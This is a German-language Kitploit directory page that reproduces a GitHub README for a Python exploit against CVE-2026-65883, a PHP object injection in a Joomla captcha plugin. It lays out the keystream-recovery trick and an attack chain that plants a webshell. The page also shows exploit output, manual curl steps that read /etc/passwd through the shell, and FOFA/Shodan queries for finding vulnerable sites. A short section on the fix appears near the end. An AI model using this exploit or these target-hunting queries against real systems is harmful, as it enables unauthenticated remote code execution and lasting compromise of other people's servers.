Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-65883 — Aimy Captcha-Less Form Guard Joomla-Komponente PHP Object Injection RCE. clfgd XOR-Keystream-Wiederherstellung + unserialize(). CVSS 10.0 | CWE-502 | aimy_captcha-less_form_guard < 20.1 | Kitploit
Tools/GitHubGitHub/shinthink/cve-2026-65883
Payload-GenerierungSchwachstellenanalyseExploitationWebanwendungs-ExploitationInformationsbeschaffungPenetrationstestsRed Teaming
GitHubshinthink/cve-2026-65883

CVE-2026-65883

Aimy Captcha-Less Form Guard Joomla-Komponente PHP Object Injection RCE. clfgd XOR-Keystream-Wiederherstellung + unserialize(). CVSS 10.0 | CWE-502 | aimy_captcha-less_form_guard < 20.1

Repository anzeigen
vor 21 TagenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Python CVE CVSS License

CVE-2026-65883 — Aimy Captcha-Less Form Guard <= 20.0

clfgd-Feld → XOR-Wiederherstellung → unserialize() → FormattedtextLogger → RCE


Übersicht

Nicht authentifizierte PHP-Objektinjektion in Aimy Captcha-Less Form Guard für Joomla. Die Methode onCheckAnswer() decodiert das vom Angreifer kontrollierte POST-Feld clfgd per Base64, führt es durch eine XOR-Verschlüsselung mit sich wiederholendem Schlüssel und übergibt das Ergebnis direkt an unserialize() — ohne HMAC, ohne allowed_classes-Einschränkung und ohne Integritätsprüfung.


Betroffene Versionen

StatusVersion
Verwundbar18.0 — 20.0
Behoben20.1 (29. Juli 2026)

Mechanismus der Schwachstelle

Grundursache

Die Methode onCheckAnswer() in plg_captcha_aimycaptchalessformguard übergibt vom Angreifer kontrollierte Eingaben direkt an unserialize():

root@kitploit:~
// onCheckAnswer() — pre-20.1
$cld = false;
if (($clfgd = $input->get('clfgd', '', 'RAW'))) {
    $cld = @unserialize(
        XorHelper::crypt( base64_decode($clfgd), self::getXorKey() )
    );
}

Die XOR-„Verschlüsselung“ ist eine Vigenère-Chiffre mit einem Pro-Sitzungs-Schlüssel — keine Authentifizierung, nur Verschleierung.

Die gebrochene Verschlüsselung

root@kitploit:~
// XorHelper::crypt() — repeating-key XOR, period 231
static public function crypt($bytes, $key) {
    $ekey = str_split(self::getHashedKey($key));  // sha512.sha256.sha1 = 232 hex
    $s    = str_split(strVal($bytes));
    $klen = count($ekey);
    for ($i = 0; $i < count($s); $i++) {
        $val .= $s[$i] ^ $ekey[$i % ($klen - 1)];  // period 231
    }
    return $val;
}

Keystream-Wiederherstellung

Das Plugin rendert sowohl Chiffrat als auch Klartext in derselben HTML-Antwort:

root@kitploit:~
// onDisplay()
$cld->trap_ids = array($id, $trap_id);      // readable from HTML
$cld->mt       = time() + 7;                 // known (server time + 7s)
$html .= '<input name="clfgd" value="'
      . base64_encode(XorHelper::crypt(serialize($cld), $key))
      . '" />';

Da sowohl trap_ids (aus dem <span id="..._mark"> und dem Honeypot-Eingabefeld extrahierbar) als auch das Chiffrat in der HTML-Antwort enthalten sind, lassen sich durch XOR-Verknüpfung etwa 94 Bytes des 231-Byte-Keystreams wiederherstellen.

Angriffsablauf

  1. GET auf ein beliebiges captchageschütztes Formular (Registrierung, Login, Kontakt, Passwort-Reset)
  2. Extrahiere clfgd-Chiffrat + trap_ids + Timing → 94 Bytes Keystream wiederherstellen
  3. Richte ein serialisiertes FormattedtextLogger-Objekt so aus, dass strukturelle Bytes auf bekannte Keystream-Positionen fallen
  4. POST mit präpariertem clfgd → unserialize() → __destruct() → formatLine() → schreibt PHP-Webshell
  5. GET /random.php?c=id → RCE als www-data

Proof of Concept

Einzelnes Ziel

root@kitploit:~
$ python cve_2026_65883.py -t target.com

  Target      : target.com
  Status      : Aimy Captcha-Less Form Guard v20.0
  Form        : /index.php?option=com_users&view=registration
  Keystream   : 94 bytes recovered
  Shell       : a1b2c3d4e5.php
  Gadget      : 1460 bytes
  POST        : HTTP 303
  Shell URL   : https://target.com/a1b2c3d4e5.php
  RCE         : CONFIRMED!

RCE ACHIEVED!
  https://target.com/a1b2c3d4e5.php?c=id

Manuelle Ausnutzung

root@kitploit:~
# Step 1 — Get form + recover keystream
curl -sk "https://target.com/index.php?option=com_users&view=registration" \
  | grep -oP 'clfgd" value="\K[^"]+' | base64 -d > /tmp/ct.bin

# Step 2 — Build FormattedtextLogger gadget + XOR encrypt
python cve_2026_65883.py -t target.com -c "id"

# Step 3 — Access webshell
curl -sk "https://target.com/a1b2c3d4e5.php?c=cat+/etc/passwd"

FOFA / Shodan

root@kitploit:~
# Aimy Captcha hidden field
body="clfgd" && body="Joomla"

# Plugin version disclosure
body="aimycaptchalessformguard"

# Shodan
http.html:"clfgd" http.component:"Joomla"

Der Fix (20.1)

root@kitploit:~
// 20.0 (vulnerable)
$cld = @unserialize( XorHelper::crypt( base64_decode($clfgd), self::getXorKey() ) );

// 20.1 (fixed)
$cld = @json_decode( XorHelper::crypt( base64_decode($clfgd), self::getXorKey() ) );

json_decode() kann keine PHP-Objekte instanziieren — die POP-Gadget-Kette ist unterbrochen.


Auswirkungen

  • Vollständiges RCE — beliebige Befehle als www-data ausführen
  • Keine Authentifizierung erforderlich — jedes öffentliche Formular mit Captcha ist ein Angriffsvektor
  • Joomla 3.9–5.2.1 — FormattedtextLogger-Gadget funktioniert über alle Versionen hinweg
  • Persistent — Webshell bleibt bestehen, bis sie manuell gelöscht wird

Haftungsausschluss

Dieses Tool dient ausschließlich Bildungs- und autorisierten Sicherheitstestzwecken. Verwenden Sie es nur gegen Systeme, die Ihnen gehören oder für die Sie eine ausdrückliche Testgenehmigung haben.


Referenzen


Nicht mit Aimy Extensions oder VulnCheck verbunden.

Tool herunterladen
FeldDetail
CVECVE-2026-65883
ProduktAimy Captcha-Less Form Guard (Joomla-Plugin)
CVSS 4.010.0 (Kritisch)
TypCWE-502 — Deserialisierung nicht vertrauenswürdiger Daten
Betroffen18.0 — 20.0
Behoben20.1 (29. Juli 2026)
EntdecktValentin Lobstein (Chocapikk) / VulnCheck — 26. Juli 2026
RessourceLink
VulnCheck-Blogvulncheck.com/blog/aimy-captcha-less-form-guard-object-injection
IONIX Threat Centerionix.io/threat-center/cve-2026-65883
CVE-Eintragcve.org/CVERecord?id=CVE-2026-65883
NVDnvd.nist.gov/vuln/detail/CVE-2026-65883